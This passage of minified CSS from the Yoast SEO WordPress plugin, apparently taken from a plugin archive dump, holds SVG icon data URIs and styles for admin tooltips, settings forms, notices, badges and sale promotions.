0v4h8z"/></svg>');--yoast-svg-icon-yoast:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23999' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-good:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%237ad03a' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23ee7c1b' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-bad:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23dc3232' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-noindex:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%231e8cbe' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E")}.yoast-tooltip{position:relative}button.yoast-tooltip{overflow:visible}.yoast-tooltip:after{word-wrap:break-word;-webkit-font-smoothing:subpixel-antialiased;background:#000c;border-radius:3px;color:#fff;content:attr(aria-label);display:none;font:normal normal 11px/1.45454545 Helvetica,arial,nimbussansl,liberationsans,freesans,clean,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol;letter-spacing:normal;opacity:0;padding:6px 8px 5px;pointer-events:none;position:absolute;text-align:center;text-decoration:none;text-shadow:none;text-transform:none;white-space:pre;z-index:1000000}.yoast-tooltip-alt:after{content:attr(data-label)}.yoast-tooltip:before{border:5px solid #0000;color:#000c;content:"\00a0";display:none;height:0;opacity:0;pointer-events:none;position:absolute;width:0;z-index:1000001}@keyframes yoast-tooltip-appear{0%{opacity:0}to{opacity:1}}.yoast-tooltip:active:after,.yoast-tooltip:active:before,.yoast-tooltip:focus:after,.yoast-tooltip:focus:before,.yoast-tooltip:hover:after,.yoast-tooltip:hover:before{animation-duration:.1s;animation-fill-mode:forwards;animation-name:yoast-tooltip-appear;animation-timing-function:ease-in;display:inline-block;text-decoration:none}.yoast-tooltip-no-delay:active:after,.yoast-tooltip-no-delay:active:before,.yoast-tooltip-no-delay:focus:after,.yoast-tooltip-no-delay:focus:before,.yoast-tooltip-no-delay:hover:after,.yoast-tooltip-no-delay:hover:before{animation:none;opacity:1}.yoast-tooltip-multiline:active:after,.yoast-tooltip-multiline:focus:after,.yoast-tooltip-multiline:hover:after{display:table-cell}.yoast-tooltip-s:after,.yoast-tooltip-se:after,.yoast-tooltip-sw:after{margin-top:5px;right:50%;top:100%}.yoast-tooltip-s:before,.yoast-tooltip-se:before,.yoast-tooltip-sw:before{border-bottom-color:#000c;bottom:-5px;margin-right:-5px;right:50%;top:auto}.yoast-tooltip-se:after{left:50%;margin-left:-15px;right:auto}.yoast-tooltip-sw:after{margin-right:-15px}.yoast-tooltip-n:after,.yoast-tooltip-ne:after,.yoast-tooltip-nw:after{bottom:100%;margin-bottom:5px;right:50%}.yoast-tooltip-n:before,.yoast-tooltip-ne:before,.yoast-tooltip-nw:before{border-top-color:#000c;bottom:auto;margin-right:-5px;right:50%;top:-5px}.yoast-tooltip-ne:after{left:50%;margin-left:-15px;right:auto}.yoast-tooltip-nw:after{margin-right:-15px}.yoast-tooltip-n:after,.yoast-tooltip-s:after{transform:translateX(50%)}.yoast-tooltip-w:after{bottom:50%;margin-right:5px;right:100%;transform:translateY(50%)}.yoast-tooltip-w:before{border-left-color:#000c;bottom:50%;left:-5px;margin-top:-5px;top:50%}.yoast-tooltip-e:after{bottom:50%;left:100%;margin-left:5px;transform:translateY(50%)}.yoast-tooltip-e:before{border-right-color:#000c;bottom:50%;margin-top:-5px;right:-5px;top:50%}.yoast-tooltip-multiline:after{word-wrap:normal;border-collapse:initial;max-width:250px;white-space:pre-line;width:250px;width:max-content;word-break:break-word}.yoast-tooltip-multiline.yoast-tooltip-n:after,.yoast-tooltip-multiline.yoast-tooltip-s:after{left:50%;right:auto;transform:translateX(-50%)}.yoast-tooltip-multiline.yoast-tooltip-e:after,.yoast-tooltip-multiline.yoast-tooltip-w:after{right:100%}@media screen and (min-width:0\0){.yoast-tooltip-multiline:after{width:250px}}.yoast-tooltip-sticky:after,.yoast-tooltip-sticky:before{display:inline-block}.yoast-tooltip-sticky.yoast-tooltip-multiline:after{display:table-cell}@media only screen and (-moz-min-device-pixel-ratio:2),only screen and (min-device-pixel-ratio:2),only screen and (min-resolution:192dpi),only screen and (min-resolution:2dppx){.yoast-tooltip-w:after{margin-right:4.5px}}.yoast-tooltip.yoast-tooltip-hidden:after,.yoast-tooltip.yoast-tooltip-hidden:before{display:none}.rtl .yst-icon-rtl{--tw-rotate:180deg;transform:translate(var(--tw-translate-x),var(--tw-translate-y)) rotate(var(--tw-rotate)) skewX(var(--tw-skew-x)) skewY(var(--tw-skew-y)) scaleX(var(--tw-scale-x)) scaleY(var(--tw-scale-y))}.wpseo-premium-indicator{display:inline-block;height:1px;width:1px}#adminmenu .wpseo-premium-indicator{color:inherit;margin:-2px 0 -3px 2px}.wpseo-premium-indicator svg{display:none;height:100%;width:auto}.yoast-measure{max-width:600px}.yoast-measure.padded{max-width:632px}#TB_window .wpseo_content_wrapper p{font-size:14px;font-style:normal}#TB_window .wpseo_content_wrapper label{font-size:14px;font-weight:600;margin:0 10px 0 0}.wpseo-premium-popup-title{font-size:1.3em!important;font-weight:600!important;margin:1em 0!important;padding:0!important}.wpseo-premium-popup-icon{margin:10px}.edit-tags-php .column-description img{height:auto;max-width:100%}.yoast-label-strong{font-weight:600}.yoast-video-container-max-width{max-width:560px}.yoast-video-container{height:0;overflow:hidden;padding-bottom:56.25%;position:relative}.yoast-video-container iframe{height:100%;left:0;position:absolute;top:0;width:100%}.yoast-settings{margin-bottom:2em;padding-left:220px}.yoast-settings h2{margin-bottom:0;margin-left:-220px}.yoast-settings label{color:#23282d;display:inline-block;font-size:14px;font-weight:600;line-height:1.3;margin-left:-220px;margin-right:6px;padding-right:10px;padding-top:4px;vertical-align:top;width:200px}.yoast .yoast-settings__checkbox,.yoast .yoast-settings__radio,.yoast-settings fieldset,.yoast-settings input[type=text],.yoast-settings label,.yoast-settings select,.yoast-settings textarea{margin-bottom:.5em;margin-top:2em}.yoast-settings__textarea--medium{max-width:600px;width:100%}.yoast .yoast-settings__checkbox,.yoast .yoast-settings__radio{position:relative;top:1px;vertical-align:top}.yoast-settings__group--checkbox,.yoast-settings__group--radio{padding-top:1em}.yoast-settings__group--checkbox .yoast-settings__checkbox,.yoast-settings__group--radio .yoast-settings__radio{margin:0 4px 10px 0}.yoast-settings__checkbox+label,.yoast-settings__radio+label{margin-left:0;margin-right:0;max-width:calc(100% - 25px);padding:0;width:auto}.yoast-settings__group--checkbox .yoast-settings__checkbox+label,.yoast-settings__group--radio .yoast-settings__radio+label{font-weight:400;margin-bottom:10px;margin-top:0}.yoast-settings legend{color:#23282d;font-size:14px;font-weight:600}.yoast-settings .description{font-size:14px;margin-top:0}td .wpseo-score-icon{background:#888;border-radius:50%;display:inline-block;height:12px;line-height:16px;margin-left:5px;margin-top:3px;width:12px}.fixed th.column-wpseo-linked,.fixed th.column-wpseo-links,.fixed th.column-wpseo-score,.fixed th.column-wpseo-score-readability{padding:0;width:3em}.fixed th.column-wpseo-score-readability.sortable,.fixed th.column-wpseo-score-readability.sorted,.fixed th.column-wpseo-score.sortable,.fixed th.column-wpseo-score.sorted{width:3.5em}th.column-wpseo-linked a,th.column-wpseo-links a,th.column-wpseo-score .yoast-tooltip,th.column-wpseo-score-readability .yoast-tooltip{display:inline-block;overflow:visible;padding:8px 0;vertical-align:middle}th.column-wpseo-score .yoast-tooltip,th.column-wpseo-score-readability .yoast-tooltip{padding:8px 11px}th.column-wpseo-score-readability.sortable .yoast-tooltip,th.column-wpseo-score-readability.sorted .yoast-tooltip,th.column-wpseo-score.sortable .yoast-tooltip,th.column-wpseo-score.sorted .yoast-tooltip{padding-right:0}.column-wpseo-links .yoast-tooltip-multiline:after{max-width:160px}.column-wpseo-linked .yoast-tooltip-multiline:after{max-width:170px}.yoast-column-header-has-tooltip{position:relative}.manage-column .yoast-column-header-has-tooltip:before{color:#444;content:"";display:inline-block;height:20px;padding:0;text-decoration:none!important;vertical-align:top;width:20px}.manage-column .yoast-linked-to:before{background:#0000 url(../../images/link-out-icon.svg) no-repeat 0 0;background-size:20px}.manage-column .yoast-linked-from:before{background:#0000 url(../../images/link-in-icon.svg) no-repeat 0 0;background-size:20px}.manage-column .yoast-column-seo-score:before{background:#0000 url(../../images/Yoast_SEO_negative_icon.svg) no-repeat 0 0;background-size:20px}.manage-column .yoast-column-readability:before{background:#0000 url(../../images/readability-icon.svg) no-repeat 0 0;background-size:20px}td.column-wpseo-linked,td.column-wpseo-links{word-wrap:normal}@media screen and (max-width:782px){.yoast-settings{padding-left:0}.yoast-settings h2{margin-left:0}.yoast-settings label{margin-left:0;margin-right:0;padding:0;width:auto}.yoast .yoast-settings__radio,.yoast-settings__radio+label{margin-bottom:1em}.yoast-settings__checkbox+label,.yoast-settings__radio+label{max-width:calc(100% - 35px);padding-top:8px}.yoast-settings__group--checkbox .yoast-settings__checkbox+label,.yoast-settings__group--radio .yoast-settings__radio+label{padding-top:4px}.yoast-settings input[type=text],.yoast-settings select,.yoast-settings textarea{box-sizing:border-box;display:block;line-height:1.5;margin-bottom:0;margin-top:0;max-width:none;padding:7px 10px;width:100%}.screen-reader-text.wpseo-score-text{-webkit-clip-path:none;clip-path:none;height:auto;margin:0;position:static!important;width:auto}}.react-tabs__tab-panel{margin:0 auto;max-width:900px}.react-tabs__tab-panel li{max-width:none!important}.contact-premium-support{text-align:center}.contact-premium-support__content{font-size:.9375rem;line-height:1.4;margin:0 auto 1.5em}.contact-premium-support__content:nth-child(2){max-width:610px}.contact-premium-support__content:nth-child(3){max-width:560px}.contact-premium-support .contact-premium-support__button{margin-bottom:48px}.wpseo-premium-description{margin-top:.5em}.wpseo-premium-advantages-list{list-style:disc;padding-left:1.5em}.yoast_help.yoast-help-button,.yoast_help.yoast-help-link{background:#0000;border:0;box-shadow:none;color:#72777c;cursor:pointer;height:20px;margin:0;outline:none;padding:0;position:relative;vertical-align:top;width:20px}.yoast-section .yoast_help.yoast-help-button{float:right}.help-button-inline .yoast_help.yoast-help-button{margin-top:-4px}.yoast-section .yoast_help.yoast-help-button{margin-top:-44px}.wpseo-admin-page .yoast_help.yoast-help-button{margin-right:6px}.yoast_help .yoast-help-icon:before{content:"\f223";left:0;padding:4px;position:absolute;top:0}.yoast_help.yoast-help-button:focus,.yoast_help.yoast-help-button:hover,.yoast_help.yoast-help-link:hover{color:#0073aa}.assessment-results__mark:focus,.yoast_help.yoast-help-button:focus .yoast-help-icon:before,.yoast_help.yoast-help-link:focus .yoast-help-icon:before{border-radius:100%;box-shadow:0 0 0 1px #5b9dd9,0 0 2px 1px #1e8cbecc}.yoast-help-panel{clear:both;display:none;font-weight:400;max-width:30em!important;padding:0 0 1em;white-space:normal}.wpseo-admin-page .yoast-help-panel{max-width:600px!important}.copy-home-meta-description{margin-top:1em}.copy-home-meta-description .yoast-help-panel{max-width:400px!important}.yoast-modal_is-open{overflow:hidden}.yoast-notification .yoast-seo-icon{float:left;margin:20px 10px}.yoast-notification .yoast-seo-icon-wrap{margin:0 0 0 85px}.yoast-button-upsell{align-items:center;background-color:#fec228;border-radius:4px;box-shadow:inset 0 -4px 0 #0003;box-sizing:border-box;color:#000;display:inline-flex;filter:drop-shadow(0 2px 4px rgba(0,0,0,.2));font-family:Arial,sans-serif;font-size:16px;justify-content:center;line-height:1.5;min-height:48px;padding:8px 1em;text-decoration:none}.yoast-button-upsell:active,.yoast-button-upsell:focus,.yoast-button-upsell:hover{background-color:#f2ae01;color:#000}.yoast-button-upsell:focus{box-shadow:inset 0 -4px 0 #0003,0 0 0 1px #5b9dd9,0 0 2px 1px #1e8cbecc}.yoast-button-upsell:active{box-shadow:none;filter:none;transform:translateY(1px)}.yoast-button-upsell#wpseo-premium-button{color:#000}.yoast-button-upsell__caret{background:#0000 var(--yoast-svg-icon-caret-right) center no-repeat;flex-shrink:0;height:16px;margin:0 -2px 0 6px;width:8px}.rtl .yoast-button-upsell__caret{background-image:var(--yoast-svg-icon-caret-left)}body.folded .wpseo-admin-submit-fixed{left:36px}@media screen and (max-width:782px){body.folded .wpseo-admin-submit-fixed{left:0}}.wpseo-admin-submit{align-items:baseline;display:flex;justify-content:flex-start;margin:0;padding:16px 0;z-index:5}.wpseo-admin-submit.wpseo-admin-submit-fixed{background-color:#fff;bottom:0;box-shadow:0 1px 8px 1px #00000080;padding:16px;position:fixed;width:600px}@media screen and (max-width:782px){.wpseo-admin-submit.wpseo-admin-submit-fixed{left:0;width:782px}}.wpseo-admin-submit p.submit{margin:0;padding:0}.wpseo-admin-submit p.wpseo-message{color:#008a00;margin:0 16px 0 0;padding:0}.yoast-site-health__signature{color:#707070;display:flex;font-size:12px;line-height:20px;margin-top:2em}.yoast-site-health__inline-button.fetch-status,.yoast-site-health__signature-icon{margin-right:8px}#wpadminbar .yoast-badge,.yoast-badge{border-radius:8px;display:inline-block;font-weight:600;line-height:1.6;padding:0 8px}.yoast-badge{font-size:10px;min-height:16px}.yoast-badge--sale{background-color:#a4286a;border-radius:999px!important;color:#fff;font-size:12px!important;margin-top:-24px;position:absolute;right:30px;transform:rotate(14deg)}@media (max-width:1024px){.yoast-badge--sale{display:inline-block;position:unset;vertical-align:top}}.yoast-badge__is-link:focus,.yoast-badge__is-link:hover{background-color:#004973;box-shadow:none;color:#fff;outline:none}#wpadminbar .yoast-badge,.wp-submenu .yoast-badge{font-size:9px;min-height:14px}.yoast-new-badge{background-color:#cce5ff;color:#004973}.yoast-premium-badge{background-color:#fff3cd;color:#674e00}.yoast-beta-badge{background-color:#cce5ff;color:#004973}.yoast-badge__is-link{text-decoration:none}.switch-container .yoast-badge{vertical-align:-1em}.switch-container legend .yoast-badge{vertical-align:0}.yoast_help+.yoast-badge{vertical-align:bottom}.yoast #crawl-settings fieldset[id$=_disabled],.yoast #crawl-settings p.disabled,.yoast label[for=clean_permalinks_extra_variables_free],.yoast label[for=search_character_limit_free],.yoast p.yoast-extra-variables-label-free{opacity:.5}.yoast #crawl-settings fieldset[id$=_disabled] .switch-toggle.switch-yoast-seo input:disabled~a{background:#a4286a;border:1px solid #b5b5b5}.yoast label[for^=search_character_limit]{font-weight:600;margin-bottom:10px!important;padding-left:2px;width:320px!important}.yoast input[id^=search_character_limit]{width:70px!important}.yoast label[for^=clean_permalinks_extra_variables]{font-weight:600;padding-left:2px;width:240px!important}.yoast input[id^=clean_permalinks_extra_variables]{width:358px!important}.yoast .yoast-crawl-single-setting{margin-top:18px}.yoast p[class*=yoast-extra-variables-label]{padding-left:243px!important}@media screen and (max-width:782px){.yoast p[class*=yoast-extra-variables-label]{margin-top:-20px!important;padding-left:0!important}}.yoast .yoast-crawl-settings-help{font-style:italic}.notice-yoast{background:#fff;border:1px solid #c3c4c7;border-left:4px solid var(--yoast-color-primary);box-shadow:0 1px 1px #0000000a;margin:20px 0 15px;padding:1px 12px}#black-friday-2023-product-editor-checklist .notice-yoast__container{padding:0 5px}.notice-yoast.is-dismissible{padding-right:38px;position:relative}.notice-yoast__container{padding:10px 0 5px}.notice-yoast__container,.notice-yoast__header{align-items:center;display:flex;flex-direction:row}.notice-yoast__header{box-sizing:border-box;justify-content:left;margin-bottom:8px;padding:0;width:100%}.notice-yoast__header .notice-yoast__header-heading{line-height:1.2;margin:0;padding:0}.notice-yoast__header h2.notice-yoast__header-heading{color:var(--yoast-color-primary);font-size:14px;font-weight:600;line-height:1;margin:0}.notice-yoast__header .yoast-icon{background-color:var(--yoast-color-primary);display:inline-block;height:14px;margin-right:8px;mask-image:var(--yoast-svg-icon-yoast);-webkit-mask-image:var(--yoast-svg-icon-yoast);mask-size:100% 100%;-webkit-mask-size:100% 100%;width:14px}.notice-yoast__content{display:flex;padding:0}.notice-yoast .notice-yoast__container>svg{height:60px;line-height:1;margin-left:10px;width:auto}.notice-yoast img{height:60px;line-height:1;margin-bottom:5px;margin-left:16px;width:auto}.notice-yoast p{font-size:13px;font-weight:400;line-height:19px;max-width:600px}.notice-yoast .yoast-button--small{min-height:unset}.notice-yoast .notice-dismiss{background:none;border:none;color:#787c82;cursor:pointer;margin:0;padding:9px;position:absolute;right:1px;top:0}.notice-yoast .notice-dismiss:before{speak:never;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;background:none;color:#787c82;content:"\f153";display:block;font:normal 16px/20px dashicons;height:20px;text-align:center;width:20px}.notice-yoast .notice-dismiss:hover:before{color:#d63638}.yoast-notice-migrated-header{margin-top:10px}.privacy-settings .notice-yoast{margin:0 20px}.yoast .yoast-crawl-settings-explanation-free,.yoast .yoast-crawl-settings-help-free{opacity:.5}.yoast h3.yoast-crawl-settings,.yoast h3.yoast-crawl-settings-free{margin:2em 0 .5em}.yoast .yoast-crawl-settings-disabled,.yoast h3.yoast-crawl-settings-free{opacity:.5}.yoast .indexables-indexing-error p{margin-bottom:13px}.yoast .indexables-indexing-error strong{font-weight:500}.yoast .indexables-indexing-error summary{font-weight:700}.yoast-dashicons-notice{color:#dba617}#black-friday-2024-promotion-sidebar.notice-yoast{background:#fff;border-color:#fcd34d;border-radius:8px;border-width:2px;margin:20px 0 15px;padding:1px 12px}#black-friday-2024-promotion-sidebar .notice-yoast__header{margin-bottom:2px;padding-right:20px}#black-friday-2024-promotion-metabox.notice-yoast{background:#fff;border-color:#fcd34d;border-radius:8px;border-width:2px;margin:20px}#black-friday-2024-promotion-metabox h2.notice-yoast__header-heading{padding:0}#black-friday-2024-promotion-metabox .notice-yoast__container{padding-bottom:0}#black-friday-2024-promotion-metabox .notice-yoast__container p{display:inline}#black-friday-2024-promotion-metabox .notice-yoast__header{margin-bottom:8px}#black-friday-2024-promotion-metabox .notice-yoast__header a{font-weight:400;margin-left:13px}.yoast-bf-sale-badge{display:block;left:12px;position:absolute;top:-10px}.yoast-bf-sale-badge,.yoast-menu-bf-sale-badge{background-color:#1f2937;border-radius:8px;color:#fcd34d;font-size:10px;font-weight:600;line-height:normal;padding:2px 8px}.yoast-menu-bf-sale-badge{text-wrap:nowrap;border:1px solid #fcd34d;margin-left:5px}wordpress-seo/css/dist/introductions-2420.css000064400000022654147510273070015135 0ustar00:root{--yoast-svg-icon-info:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23A4286A' d='M1152 1376v-160q0-14-9-23t-23-9h-96V672q0-14-9-23t-23-9H672q-14 0-23 9t-9 23v160q0 14 9 23t23 9h96v320h-96q-14 0-23 9t-9 23v160q0 14 9 23t23 9h448q14 0 23-9t9-23zm-128-896V320q0-14-9-23t-23-9H800q-14 0-23 9t-9 23v160q0 14 9 23t23 9h192q14 0 23-9t9-23zm640 416q0 209-103 385.5T1281.5 1561 896 1664t-385.5-103T231 1281.5 128 896t103-385.5T510.5 231 896 128t385.5 103T1561 510.5 1664 896z'/%3E%3C/svg%3E");--yoast-svg-icon-check:url("data:image/svg+xml;charset=utf-8,%3Csvg viewBox='0 0 1792 1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-check-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-right:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M0 384.662V127.338c0-17.818 21.543-26.741 34.142-14.142l128.662 128.662c7.81 7.81 7.81 20.474 0 28.284L34.142 398.804C21.543 411.404 0 402.48 0 384.662Z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-left:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142z'/%3E%3C/svg%3E");--yoast-svg-icon-eye:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M1664 960q-152-236-381-353 61 104 61 225 0 185-131.5 316.5T896 1280t-316.5-131.5T448 832q0-121 61-225-229 117-381 353 133 205 333.5 326.5T896 1408t434.5-121.5T1664 960zM944 576q0-20-14-34t-34-14q-125 0-214.5 89.5T592 832q0 20 14 34t34 14 34-14 14-34q0-86 61-147t147-61q20 0 34-14t14-34zm848 384q0 34-20 69-140 230-376.5 368.5T896 1536t-499.5-139T20 1029Q0 994 0 960t20-69q140-229 376.5-368T896 384t499.5 139T1772 891q20 35 20 69z'/%3E%3C/svg%3E");--yoast-svg-icon-list:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M384 1408q0 80-56 136t-136 56-136-56-56-136 56-136 136-56 136 56 56 136zm0-512q0 80-56 136t-136 56-136-56T0 896t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 1504v-192q0-13 9.5-22.5t22.5-9.5h1216q13 0 22.5 9.5t9.5 22.5zM384 384q0 80-56 136t-136 56-136-56T0 384t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 992V800q0-13 9.5-22.5T544 768h1216q13 0 22.5 9.5t9.5 22.5zm0-512v192q0 13-9.5 22.5T1760 512H544q-13 0-22.5-9.5T512 480V288q0-13 9.5-22.5T544 256h1216q13 0 22.5 9.5t9.5 22.5z'/%3E%3C/svg%3E");--yoast-svg-icon-key:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M832 512q0-80-56-136t-136-56-136 56-56 136q0 42 19 83-41-19-83-19-80 0-136 56t-56 136 56 136 136 56 136-56 56-136q0-42-19-83 41 19 83 19 80 0 136-56t56-136zm851 704q0 17-49 66t-66 49q-9 0-28.5-16t-36.5-33-38.5-40-24.5-26l-96 96 220 220q28 28 28 68 0 42-39 81t-81 39q-40 0-68-28l-671-671q-176 131-365 131-163 0-265.5-102.5T0 784q0-160 95-313t248-248 313-95q163 0 265.5 102.5T1024 496q0 189-131 365l355 355 96-96q-3-3-26-24.5t-40-38.5-33-36.5-16-28.5q0-17 49-66t66-49q13 0 23 10 6 6 46 44.5t82 79.5 86.5 86 73 78 28.5 41z'/%3E%3C/svg%3E");--yoast-svg-icon-edit:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='m491 1536 91-91-235-235-91 91v107h128v128h107zm523-928q0-22-22-22-10 0-17 7l-542 542q-7 7-7 17 0 22 22 22 10 0 17-7l542-542q7-7 7-17zm-54-192 416 416-832 832H128v-416zm683 96q0 53-37 90l-166 166-416-416 166-165q36-38 90-38 53 0 91 38l235 234q37 39 37 91z'/%3E%3C/svg%3E");--yoast-svg-icon-lock:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2H6a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2zm10-10V7a4 4 0 0 0-8 0v4h8z"/></svg>');--yoast-svg-icon-yoast:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23999' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-good:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%237ad03a' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23ee7c1b' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-bad:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23dc3232' d='M403 